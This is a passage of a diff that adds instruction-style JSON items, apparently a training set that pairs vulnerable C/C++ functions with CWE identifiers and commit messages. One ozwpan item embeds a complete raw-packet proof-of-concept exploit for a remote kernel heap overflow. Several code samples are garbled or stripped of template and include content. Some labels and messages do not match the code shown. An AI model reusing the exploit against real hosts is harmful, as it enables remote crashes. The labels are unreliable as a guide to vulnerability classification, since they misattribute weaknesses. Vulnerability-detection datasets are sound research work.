fft(outer_axes);\n    }\n\n    // Reconstruct the full FFT by appending reversed and conjugated\n    // spectrum as the negative frequency part.\n    Eigen::array reverse_last_axis;\n    for (auto i = 0; i <= FFTRank; i++) {\n      reverse_last_axis[i] = i == FFTRank;\n    }\n\n    if (neg_sizes[FFTRank] != 0) {\n      full_fft.slice(neg_target_indices, neg_sizes).device(device) =\n          full_fft.slice(neg_start_indices, neg_sizes)\n              .reverse(reverse_last_axis)\n              .conjugate();\n    }\n\n    auto inner_axis = Eigen::array{FFTRank};\n    output.device(device) =\n        full_fft.template fft(inner_axis);\n  } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-617', 'CWE-369'], 'message': 'Fix a check fail in Fast Fourier implementation\n\nPiperOrigin-RevId: 372026629\nChange-Id: Id05c3362aa575271bc3e06b16316c9037085fc11'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: uipbuf_get_next_header(uint8_t *buffer, uint16_t size, uint8_t *protocol, bool start)\n{\n  int curr_hdr_len = 0;\n  int next_hdr_len = 0;\n  uint8_t *next_header = NULL;\n  struct uip_ip_hdr *ipbuf = NULL;\n  struct uip_ext_hdr *curr_ext = NULL;\n  struct uip_ext_hdr *next_ext = NULL;\n\n  if(start) {\n    /* protocol in the IP buffer */\n    ipbuf = (struct uip_ip_hdr *)buffer;\n    *protocol = ipbuf->proto;\n    curr_hdr_len = UIP_IPH_LEN;\n  } else {\n    /* protocol in the Ext hdr */\n    curr_ext = (struct uip_ext_hdr *)buffer;\n    *protocol = curr_ext->next;\n    /* This is just an ext header */\n    curr_hdr_len = (curr_ext->len << 3) + 8;\n  }\n\n  /* Check first if enough space for current header */\n  if(curr_hdr_len > size) {\n    return NULL;\n  }\n  next_header = buffer + curr_hdr_len;\n\n  /* Check if the buffer is large enough for the next header */\n  if(uip_is_proto_ext_hdr(*protocol)) {\n    next_ext = (struct uip_ext_hdr *)next_header;\n    next_hdr_len = (next_ext->len << 3) + 8;\n  } else {\n    if(*protocol == UIP_PROTO_TCP) {\n      next_hdr_len = UIP_TCPH_LEN;\n    } else if(*protocol == UIP_PROTO_UDP) {\n      next_hdr_len = UIP_UDPH_LEN;\n    } else if(*protocol == UIP_PROTO_ICMP6) {\n      next_hdr_len = UIP_ICMPH_LEN;\n    }\n  }\n\n  /* Size must be enough to hold both the current and next header */\n  if(next_hdr_len == 0 || curr_hdr_len + next_hdr_len > size) {\n    return NULL;\n  }\n\n  return next_header;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Prevent a possible read out of bounds in the processing of IPv6 extension headers.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int decode_studio_vop_header(Mpeg4DecContext *ctx, GetBitContext *gb)\n{\n    MpegEncContext *s = &ctx->m;\n\n    if (get_bits_left(gb) <= 32)\n        return 0;\n\n    s->partitioned_frame = 0;\n    s->decode_mb = mpeg4_decode_studio_mb;\n\n    decode_smpte_tc(ctx, gb);\n\n    skip_bits(gb, 10); /* temporal_reference */\n    skip_bits(gb, 2); /* vop_structure */\n    s->pict_type = get_bits(gb, 2) + AV_PICTURE_TYPE_I; /* vop_coding_type */\n    if (get_bits1(gb)) { /* vop_coded */\n        skip_bits1(gb); /* top_field_first */\n        skip_bits1(gb); /* repeat_first_field */\n        s->progressive_frame = get_bits1(gb) ^ 1; /* progressive_frame */\n    }\n\n    if (s->pict_type == AV_PICTURE_TYPE_I) {\n        if (get_bits1(gb))\n            reset_studio_dc_predictors(s);\n    }\n\n    if (ctx->shape != BIN_ONLY_SHAPE) {\n        s->alternate_scan = get_bits1(gb);\n        s->frame_pred_frame_dct = get_bits1(gb);\n        s->dct_precision = get_bits(gb, 2);\n        s->intra_dc_precision = get_bits(gb, 2);\n        s->q_scale_type = get_bits1(gb);\n    }\n\n    if (s->alternate_scan) {\n        ff_init_scantable(s->idsp.idct_permutation, &s->inter_scantable,   ff_alternate_vertical_scan);\n        ff_init_scantable(s->idsp.idct_permutation, &s->intra_scantable,   ff_alternate_vertical_scan);\n        ff_init_scantable(s->idsp.idct_permutation, &s->intra_h_scantable, ff_alternate_vertical_scan);\n        ff_init_scantable(s->idsp.idct_permutation, &s->intra_v_scantable, ff_alternate_vertical_scan);\n    } else {\n        ff_init_scantable(s->idsp.idct_permutation, &s->inter_scantable,   ff_zigzag_direct);\n        ff_init_scantable(s->idsp.idct_permutation, &s->intra_scantable,   ff_zigzag_direct);\n        ff_init_scantable(s->idsp.idct_permutation, &s->intra_h_scantable, ff_alternate_horizontal_scan);\n        ff_init_scantable(s->idsp.idct_permutation, &s->intra_v_scantable, ff_alternate_vertical_scan);\n    }\n\n    mpeg4_load_default_matrices(s);\n\n    next_start_code_studio(gb);\n    extension_and_user_data(s, gb, 4);\n\n    return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'avcodec/mpeg4videodec: Clear interlaced_dct for studio profile\n\nFixes: Out of array access\nFixes: 13090/clusterfuzz-testcase-minimized-ffmpeg_AV_CODEC_ID_MPEG4_fuzzer-5408668986638336\n\nFound-by: continuous fuzzing process https://github.com/google/oss-fuzz/tree/master/projects/ffmpeg\nReviewed-by: Kieran Kunhya \nSigned-off-by: Michael Niedermayer '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)\n{\n\tstruct oz_usb_hdr *usb_hdr = (struct oz_usb_hdr *)(elt + 1);\n\tstruct oz_usb_ctx *usb_ctx;\n\n\tspin_lock_bh(&pd->app_lock[OZ_APPID_USB]);\n\tusb_ctx = (struct oz_usb_ctx *)pd->app_ctx[OZ_APPID_USB];\n\tif (usb_ctx)\n\t\toz_usb_get(usb_ctx);\n\tspin_unlock_bh(&pd->app_lock[OZ_APPID_USB]);\n\tif (usb_ctx == NULL)\n\t\treturn; /* Context has gone so nothing to do. */\n\tif (usb_ctx->stopped)\n\t\tgoto done;\n\t/* If sequence number is non-zero then check it is not a duplicate.\n\t * Zero sequence numbers are always accepted.\n\t */\n\tif (usb_hdr->elt_seq_num != 0) {\n\t\tif (((usb_ctx->rx_seq_num - usb_hdr->elt_seq_num) & 0x80) == 0)\n\t\t\t/* Reject duplicate element. */\n\t\t\tgoto done;\n\t}\n\tusb_ctx->rx_seq_num = usb_hdr->elt_seq_num;\n\tswitch (usb_hdr->type) {\n\tcase OZ_GET_DESC_RSP: {\n\t\t\tstruct oz_get_desc_rsp *body =\n\t\t\t\t(struct oz_get_desc_rsp *)usb_hdr;\n\t\t\tint data_len = elt->length -\n\t\t\t\t\tsizeof(struct oz_get_desc_rsp) + 1;\n\t\t\tu16 offs = le16_to_cpu(get_unaligned(&body->offset));\n\t\t\tu16 total_size =\n\t\t\t\tle16_to_cpu(get_unaligned(&body->total_size));\n\t\t\toz_dbg(ON, \"USB_REQ_GET_DESCRIPTOR - cnf\\n\");\n\t\t\toz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id,\n\t\t\t\t\tbody->rcode, body->data,\n\t\t\t\t\tdata_len, offs, total_size);\n\t\t}\n\t\tbreak;\n\tcase OZ_SET_CONFIG_RSP: {\n\t\t\tstruct oz_set_config_rsp *body =\n\t\t\t\t(struct oz_set_config_rsp *)usb_hdr;\n\t\t\toz_hcd_control_cnf(usb_ctx->hport, body->req_id,\n\t\t\t\tbody->rcode, NULL, 0);\n\t\t}\n\t\tbreak;\n\tcase OZ_SET_INTERFACE_RSP: {\n\t\t\tstruct oz_set_interface_rsp *body =\n\t\t\t\t(struct oz_set_interface_rsp *)usb_hdr;\n\t\t\toz_hcd_control_cnf(usb_ctx->hport,\n\t\t\t\tbody->req_id, body->rcode, NULL, 0);\n\t\t}\n\t\tbreak;\n\tcase OZ_VENDOR_CLASS_RSP: {\n\t\t\tstruct oz_vendor_class_rsp *body =\n\t\t\t\t(struct oz_vendor_class_rsp *)usb_hdr;\n\t\t\toz_hcd_control_cnf(usb_ctx->hport, body->req_id,\n\t\t\t\tbody->rcode, body->data, elt->length-\n\t\t\t\tsizeof(struct oz_vendor_class_rsp)+1);\n\t\t}\n\t\tbreak;\n\tcase OZ_USB_ENDPOINT_DATA:\n\t\toz_usb_handle_ep_data(usb_ctx, usb_hdr, elt->length);\n\t\tbreak;\n\t}\ndone:\n\toz_usb_put(usb_ctx);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'ozwpan: Use proper check to prevent heap overflow\n\nSince elt->length is a u8, we can make this variable a u8. Then we can\ndo proper bounds checking more easily. Without this, a potentially\nnegative value is passed to the memcpy inside oz_hcd_get_desc_cnf,\nresulting in a remotely exploitable heap overflow with network\nsupplied data.\n\nThis could result in remote code execution. A PoC which obtains DoS\nfollows below. It requires the ozprotocol.h file from this module.\n\n=-=-=-=-=-=\n\n #include \n #include \n #include \n #include \n #include \n #include \n #include \n #include \n #include \n #include \n\n #define u8 uint8_t\n #define u16 uint16_t\n #define u32 uint32_t\n #define __packed __attribute__((__packed__))\n #include \"ozprotocol.h\"\n\nstatic int hex2num(char c)\n{\n\tif (c >= '0' && c <= '9')\n\t\treturn c - '0';\n\tif (c >= 'a' && c <= 'f')\n\t\treturn c - 'a' + 10;\n\tif (c >= 'A' && c <= 'F')\n\t\treturn c - 'A' + 10;\n\treturn -1;\n}\nstatic int hwaddr_aton(const char *txt, uint8_t *addr)\n{\n\tint i;\n\tfor (i = 0; i < 6; i++) {\n\t\tint a, b;\n\t\ta = hex2num(*txt++);\n\t\tif (a < 0)\n\t\t\treturn -1;\n\t\tb = hex2num(*txt++);\n\t\tif (b < 0)\n\t\t\treturn -1;\n\t\t*addr++ = (a << 4) | b;\n\t\tif (i < 5 && *txt++ != ':')\n\t\t\treturn -1;\n\t}\n\treturn 0;\n}\n\nint main(int argc, char *argv[])\n{\n\tif (argc < 3) {\n\t\tfprintf(stderr, \"Usage: %s interface destination_mac\\n\", argv[0]);\n\t\treturn 1;\n\t}\n\n\tuint8_t dest_mac[6];\n\tif (hwaddr_aton(argv[2], dest_mac)) {\n\t\tfprintf(stderr, \"Invalid mac address.\\n\");\n\t\treturn 1;\n\t}\n\n\tint sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);\n\tif (sockfd < 0) {\n\t\tperror(\"socket\");\n\t\treturn 1;\n\t}\n\n\tstruct ifreq if_idx;\n\tint interface_index;\n\tstrncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);\n\tif (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {\n\t\tperror(\"SIOCGIFINDEX\");\n\t\treturn 1;\n\t}\n\tinterface_index = if_idx.ifr_ifindex;\n\tif (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {\n\t\tperror(\"SIOCGIFHWADDR\");\n\t\treturn 1;\n\t}\n\tuint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;\n\n\tstruct {\n\t\tstruct ether_header ether_header;\n\t\tstruct oz_hdr oz_hdr;\n\t\tstruct oz_elt oz_elt;\n\t\tstruct oz_elt_connect_req oz_elt_connect_req;\n\t} __packed connect_packet = {\n\t\t.ether_header = {\n\t\t\t.ether_type = htons(OZ_ETHERTYPE),\n\t\t\t.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },\n\t\t\t.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }\n\t\t},\n\t\t.oz_hdr = {\n\t\t\t.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),\n\t\t\t.last_pkt_num = 0,\n\t\t\t.pkt_num = htole32(0)\n\t\t},\n\t\t.oz_elt = {\n\t\t\t.type = OZ_ELT_CONNECT_REQ,\n\t\t\t.length = sizeof(struct oz_elt_connect_req)\n\t\t},\n\t\t.oz_elt_connect_req = {\n\t\t\t.mode = 0,\n\t\t\t.resv1 = {0},\n\t\t\t.pd_info = 0,\n\t\t\t.session_id = 0,\n\t\t\t.presleep = 35,\n\t\t\t.ms_isoc_latency = 0,\n\t\t\t.host_vendor = 0,\n\t\t\t.keep_alive = 0,\n\t\t\t.apps = htole16((1 << OZ_APPID_USB) | 0x1),\n\t\t\t.max_len_div16 = 0,\n\t\t\t.ms_per_isoc = 0,\n\t\t\t.up_audio_buf = 0,\n\t\t\t.ms_per_elt = 0\n\t\t}\n\t};\n\n\tstruct {\n\t\tstruct ether_header ether_header;\n\t\tstruct oz_hdr oz_hdr;\n\t\tstruct oz_elt oz_elt;\n\t\tstruct oz_get_desc_rsp oz_get_desc_rsp;\n\t} __packed pwn_packet = {\n\t\t.ether_header = {\n\t\t\t.ether_type = htons(OZ_ETHERTYPE),\n\t\t\t.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },\n\t\t\t.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }\n\t\t},\n\t\t.oz_hdr = {\n\t\t\t.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),\n\t\t\t.last_pkt_num = 0,\n\t\t\t.pkt_num = htole32(1)\n\t\t},\n\t\t.oz_elt = {\n\t\t\t.type = OZ_ELT_APP_DATA,\n\t\t\t.length = sizeof(struct oz_get_desc_rsp) - 2\n\t\t},\n\t\t.oz_get_desc_rsp = {\n\t\t\t.app_id = OZ_APPID_USB,\n\t\t\t.elt_seq_num = 0,\n\t\t\t.type = OZ_GET_DESC_RSP,\n\t\t\t.req_id = 0,\n\t\t\t.offset = htole16(0),\n\t\t\t.total_size = htole16(0),\n\t\t\t.rcode = 0,\n\t\t\t.data = {0}\n\t\t}\n\t};\n\n\tstruct sockaddr_ll socket_address = {\n\t\t.sll_ifindex = interface_index,\n\t\t.sll_halen = ETH_ALEN,\n\t\t.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }\n\t};\n\n\tif (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {\n\t\tperror(\"sendto\");\n\t\treturn 1;\n\t}\n\tusleep(300000);\n\tif (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {\n\t\tperror(\"sendto\");\n\t\treturn 1;\n\t}\n\treturn 0;\n}\n\nSigned-off-by: Jason A. Donenfeld \nAcked-by: Dan Carpenter \nCc: stable \nSigned-off-by: Greg Kroah-Hartman '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: cdf_file_summary_info(struct magic_set *ms, const cdf_header_t *h,\n    const cdf_stream_t *sst, const uint64_t clsid[2])\n{\n        cdf_summary_info_header_t si;\n        cdf_property_info_t *info;\n        size_t count;\n        int m;\n\n        if (cdf_unpack_summary_info(sst, h, &si, &info, &count) == -1)\n                return -1;\n\n        if (NOTMIME(ms)) {\n\t\tconst char *str;\n\n                if (file_printf(ms, \"Composite Document File V2 Document\")\n\t\t    == -1)\n                        return -1;\n\n                if (file_printf(ms, \", %s Endian\",\n                    si.si_byte_order == 0xfffe ?  \"Little\" : \"Big\") == -1)\n                        return -2;\n                switch (si.si_os) {\n                case 2:\n                        if (file_printf(ms, \", Os: Windows, Version %d.%d\",\n                            si.si_os_version & 0xff,\n                            (uint32_t)si.si_os_version >> 8) == -1)\n                                return -2;\n                        break;\n                case 1:\n                        if (file_printf(ms, \", Os: MacOS, Version %d.%d\",\n                            (uint32_t)si.si_os_version >> 8,\n                            si.si_os_version & 0xff) == -1)\n                                return -2;\n                        break;\n                default:\n                        if (file_printf(ms, \", Os %d, Version: %d.%d\", si.si_os,\n                            si.si_os_version & 0xff,\n                            (uint32_t)si.si_os_version >> 8) == -1)\n                                return -2;\n                        break;\n                }\n\t\tstr = cdf_clsid_to_mime(clsid, clsid2desc);\n\t\tif (str)\n                        if (file_printf(ms, \", %s\", str) == -1)\n\t\t\t\treturn -2;\n        }\n\n        m = cdf_file_property_info(ms, info, count, clsid);\n        free(info);\n\n        return m == -1 ? -2 : m;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20', 'CWE-119'], 'message': 'Apply patches from file-CVE-2012-1571.patch\nFrom Francisco Alonso Espejo:\n    file < 5.18/git version can be made to crash when checking some\n    corrupt CDF files (Using an invalid cdf_read_short_sector size)\n    The problem I found here, is that in most situations (if\n    h_short_sec_size_p2 > 8) because the blocksize is 512 and normal\n    values are 06 which means reading 64 bytes.As long as the check\n    for the block size copy is not checked properly (there's an assert\n    that makes wrong/invalid assumptions)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: Error HeifContext::interpret_heif_file()\n{\n  m_all_images.clear();\n  m_top_level_images.clear();\n  m_primary_image.reset();\n\n\n  // --- reference all non-hidden images\n\n  std::vector image_IDs = m_heif_file->get_item_IDs();\n\n  bool primary_is_grid = false;\n  for (heif_item_id id : image_IDs) {\n    auto infe_box = m_heif_file->get_infe_box(id);\n    if (!infe_box) {\n      // TODO(farindk): Should we return an error instead of skipping the invalid id?\n      continue;\n    }\n\n    if (item_type_is_image(infe_box->get_item_type())) {\n      auto image = std::make_shared(this, id);\n      m_all_images.insert(std::make_pair(id, image));\n\n      if (!infe_box->is_hidden_item()) {\n        if (id==m_heif_file->get_primary_image_ID()) {\n          image->set_primary(true);\n          m_primary_image = image;\n          primary_is_grid = infe_box->get_item_type() == \"grid\";\n        }\n\n        m_top_level_images.push_back(image);\n      }\n    }\n  }\n\n\n  if (!m_primary_image) {\n    return Error(heif_error_Invalid_input,\n                 heif_suberror_Nonexisting_item_referenced,\n                 \"'pitm' box references a non-existing image\");\n  }\n\n\n  // --- remove thumbnails from top-level images and assign to their respective image\n\n  auto iref_box = m_heif_file->get_iref_box();\n  if (iref_box) {\n    // m_top_level_images.clear();\n\n    for (auto& pair : m_all_images) {\n      auto& image = pair.second;\n\n      std::vector references = iref_box->get_references_from(image->get_id());\n\n      for (const Box_iref::Reference& ref : references) {\n        uint32_t type = ref.header.get_short_type();\n\n        if (type==fourcc(\"thmb\")) {\n          // --- this is a thumbnail image, attach to the main image\n\n          std::vector refs = ref.to_item_ID;\n          if (refs.size() != 1) {\n            return Error(heif_error_Invalid_input,\n                         heif_suberror_Unspecified,\n                         \"Too many thumbnail references\");\n          }\n\n          image->set_is_thumbnail_of(refs[0]);\n\n          auto master_iter = m_all_images.find(refs[0]);\n          if (master_iter == m_all_images.end()) {\n            return Error(heif_error_Invalid_input,\n                         heif_suberror_Nonexisting_item_referenced,\n                         \"Thumbnail references a non-existing image\");\n          }\n\n          if (master_iter->second->is_thumbnail()) {\n            return Error(heif_error_Invalid_input,\n                         heif_suberror_Nonexisting_item_referenced,\n                         \"Thumbnail references another thumbnail\");\n          }\n\n          if (image.get() == master_iter->second.get()) {\n            return Error(heif_error_Invalid_input,\n                         heif_suberror_Nonexisting_item_referenced,\n                         \"Recursive thumbnail image detected\");\n          }\n          master_iter->second->add_thumbnail(image);\n\n          remove_top_level_image(image);\n        }\n        else if (type==fourcc(\"auxl\")) {\n\n          // --- this is an auxiliary image\n          //     check whether it is an alpha channel and attach to the main image if yes\n\n          std::vector properties;\n          Error err = m_heif_file->get_properties(image->get_id(), properties);\n          if (err) {\n            return err;\n          }\n\n          std::shared_ptr auxC_property;\n          for (const auto& property : properties) {\n            auto auxC = std::dynamic_pointer_cast(property.property);\n            if (auxC) {\n              auxC_property = auxC;\n            }\n          }\n\n          if (!auxC_property) {\n            std::stringstream sstr;\n            sstr << \"No auxC property for image \" << image->get_id();\n            return Error(heif_error_Invalid_input,\n                         heif_suberror_Auxiliary_image_type_unspecified,\n                         sstr.str());\n          }\n\n          std::vector refs = ref.to_item_ID;\n          if (refs.size() != 1) {\n            return Error(heif_error_Invalid_input,\n                         heif_suberror_Unspecified,\n                         \"Too many auxiliary image references\");\n          }\n\n\n          // alpha channel\n\n          if (auxC_property->get_aux_type() == \"urn:mpeg:avc:2015:auxid:1\" ||\n              auxC_property->get_aux_type() == \"urn:mpeg:hevc:2015:auxid:1\") {\n            image->set_is_alpha_channel_of(refs[0]);\n\n            auto master_iter = m_all_images.find(refs[0]);\n            if (image.get() == master_iter->second.get()) {\n              return Error(heif_error_Invalid_input,\n                           heif_suberror_Nonexisting_item_referenced,\n                           \"Recursive alpha image detected\");\n            }\n            master_iter->second->set_alpha_channel(image);\n          }\n\n\n          // depth channel\n\n          if (auxC_property->get_aux_type() == \"urn:mpeg:hevc:2015:auxid:2\") {\n            image->set_is_depth_channel_of(refs[0]);\n\n            auto master_iter = m_all_images.find(refs[0]);\n            if (image.get() == master_iter->second.get()) {\n              return Error(heif_error_Invalid_input,\n                           heif_suberror_Nonexisting_item_referenced,\n                           \"Recursive depth image detected\");\n            }\n            master_iter->second->set_depth_channel(image);\n\n            auto subtypes = auxC_property->get_subtypes();\n\n            std::vector> sei_messages;\n            Error err = decode_hevc_aux_sei_messages(subtypes, sei_messages);\n\n            for (auto& msg : sei_messages) {\n              auto depth_msg = std::dynamic_pointer_cast(msg);\n              if (depth_msg) {\n                image->set_depth_representation_info(*depth_msg);\n              }\n            }\n          }\n\n          remove_top_level_image(image);\n        }\n        else {\n          // 'image' is a normal image, keep it as a top-level image\n        }\n      }\n    }\n  }\n\n\n  // --- check that HEVC images have an hvcC property\n\n  for (auto& pair : m_all_images) {\n    auto& image = pair.second;\n\n    std::shared_ptr infe = m_heif_file->get_infe_box(image->get_id());\n    if (infe->get_item_type() == \"hvc1\") {\n\n      auto ipma = m_heif_file->get_ipma_box();\n      auto ipco = m_heif_file->get_ipco_box();\n\n      if (!ipco->get_property_for_item_ID(image->get_id(), ipma, fourcc(\"hvcC\"))) {\n        return Error(heif_error_Invalid_input,\n                     heif_suberror_No_hvcC_box,\n                     \"No hvcC property in hvc1 type image\");\n      }\n    }\n  }\n\n\n  // --- read through properties for each image and extract image resolutions\n\n  for (auto& pair : m_all_images) {\n    auto& image = pair.second;\n\n    std::vector properties;\n\n    Error err = m_heif_file->get_properties(pair.first, properties);\n    if (err) {\n      return err;\n    }\n\n    bool ispe_read = false;\n    bool primary_colr_set = false;\n    for (const auto& prop : properties) {\n      auto ispe = std::dynamic_pointer_cast(prop.property);\n      if (ispe) {\n        uint32_t width = ispe->get_width();\n        uint32_t height = ispe->get_height();\n\n\n        // --- check whether the image size is \"too large\"\n\n        if (width  >= static_cast(MAX_IMAGE_WIDTH) ||\n            height >= static_cast(MAX_IMAGE_HEIGHT)) {\n          std::stringstream sstr;\n          sstr << \"Image size \" << width << \"x\" << height << \" exceeds the maximum image size \"\n               << MAX_IMAGE_WIDTH << \"x\" << MAX_IMAGE_HEIGHT << \"\\n\";\n\n          return Error(heif_error_Memory_allocation_error,\n                       heif_suberror_Security_limit_exceeded,\n                       sstr.str());\n        }\n\n        image->set_resolution(width, height);\n        image->set_ispe_resolution(width, height);\n        ispe_read = true;\n      }\n\n      if (ispe_read) {\n        auto clap = std::dynamic_pointer_cast(prop.property);\n        if (clap) {\n          image->set_resolution( clap->get_width_rounded(),\n                                 clap->get_height_rounded() );\n        }\n\n        auto irot = std::dynamic_pointer_cast(prop.property);\n        if (irot) {\n          if (irot->get_rotation()==90 ||\n              irot->get_rotation()==270) {\n            // swap width and height\n            image->set_resolution( image->get_height(),\n                                   image->get_width() );\n          }\n        }\n      }\n\n      auto colr = std::dynamic_pointer_cast(prop.property);\n      if (colr) {\n        auto profile = colr->get_color_profile();\n\n        image->set_color_profile(profile);\n\n        // if this is a grid item we assign the first one's color profile\n        // to the main image which is supposed to be a grid\n\n        // TODO: this condition is not correct. It would also classify a secondary image as a 'grid item'.\n        // We have to set the grid-image color profile in another way...\n        const bool is_grid_item = !image->is_primary() && !image->is_alpha_channel() && !image->is_depth_channel();\n\n        if (primary_is_grid &&\n            !primary_colr_set &&\n            is_grid_item) {\n          m_primary_image->set_color_profile(profile);\n          primary_colr_set = true;\n        }\n      }\n    }\n  }\n\n\n  // --- read metadata and assign to image\n\n  for (heif_item_id id : image_IDs) {\n    std::string item_type    = m_heif_file->get_item_type(id);\n    std::string content_type = m_heif_file->get_content_type(id);\n    if (item_type == \"Exif\" ||\n        (item_type==\"mime\" && content_type==\"application/rdf+xml\")) {\n      std::shared_ptr metadata = std::make_shared();\n      metadata->item_id = id;\n      metadata->item_type = item_type;\n      metadata->content_type = content_type;\n\n      Error err = m_heif_file->get_compressed_image_data(id, &(metadata->m_data));\n      if (err) {\n        return err;\n      }\n\n      //std::cerr.write((const char*)data.data(), data.size());\n\n\n      // --- assign metadata to the image\n\n      if (iref_box) {\n        std::vector references = iref_box->get_references_from(id);\n        for (const auto& ref : references) {\n          if (ref.header.get_short_type() == fourcc(\"cdsc\")) {\n            std::vector refs = ref.to_item_ID;\n            if (refs.size() != 1) {\n              return Error(heif_error_Invalid_input,\n                           heif_suberror_Unspecified,\n                           \"Exif data not correctly assigned to image\");\n            }\n\n            uint32_t exif_image_id = refs[0];\n            auto img_iter = m_all_images.find(exif_image_id);\n            if (img_iter == m_all_images.end()) {\n              return Error(heif_error_Invalid_input,\n                           heif_suberror_Nonexisting_item_referenced,\n                           \"Exif data assigned to non-existing image\");\n            }\n\n            img_iter->second->add_metadata(metadata);\n          }\n        }\n      }\n    }\n  }\n\n  return Error::Ok;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416'], 'message': 'Detect non-existing referenced alpha images (fixes #123)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static std::string getComment(const std::string &fulltext, int line)\n{\n\tif (line < 1) return \"\";\n\n\t// Locate line\n\tunsigned int start = 0;\n\tfor (; start 0) return \"\";\n\t\t\tif (comment[startText] == ';') noOfSemicolon++;\n\t\t}\n\t}\n\n\tif (startText + 2 > comment.length()) return \"\";\n\n\tstd::string result = comment.substr(startText + 2);\n\treturn result;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'Add file bounds check to comment parser'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: Pl_PNGFilter::decodeAverage()\n{\n    QTC::TC(\"libtests\", \"Pl_PNGFilter decodeAverage\");\n    unsigned char* buffer = this->cur_row + 1;\n    unsigned char* above_buffer = this->prev_row + 1;\n    unsigned int bpp = this->bytes_per_pixel;\n\n    for (unsigned int i = 0; i < this->bytes_per_row; ++i)\n    {\n        int left = 0;\n        int up = 0;\n\n        if (i >= bpp)\n        {\n            left = buffer[i - bpp];\n        }\n\n        up = above_buffer[i];\n        buffer[i] += (left+up) / 2;\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major)\n\nThis makes all integer type conversions that have potential data loss\nexplicit with calls that do range checks and raise an exception. After\nthis commit, qpdf builds with no warnings when -Wsign-conversion\n-Wconversion is used with gcc or clang or when -W3 -Wd4800 is used\nwith MSVC. This significantly reduces the likelihood of potential\ncrashes from bogus integer values.\n\nThere are some parts of the code that take int when they should take\nsize_t or an offset. Such places would make qpdf not support files\nwith more than 2^31 of something that usually wouldn't be so large. In\nthe event that such a file shows up and is valid, at least qpdf would\nraise an error in the right spot so the issue could be legitimately\naddressed rather than failing in some weird way because of a silent\noverflow condition.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void call_read_memory(qpdf_data qpdf)\n{\n    qpdf->qpdf->processMemoryFile(qpdf->filename, qpdf->buffer,\n\t\t\t\t  qpdf->size, qpdf->password);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major)\n\nThis makes all integer type conversions that have potential data loss\nexplicit with calls that do range checks and raise an exception. After\nthis commit, qpdf builds with no warnings when -Wsign-conversion\n-Wconversion is used with gcc or clang or when -W3 -Wd4800 is used\nwith MSVC. This significantly reduces the likelihood of potential\ncrashes from bogus integer values.\n\nThere are some 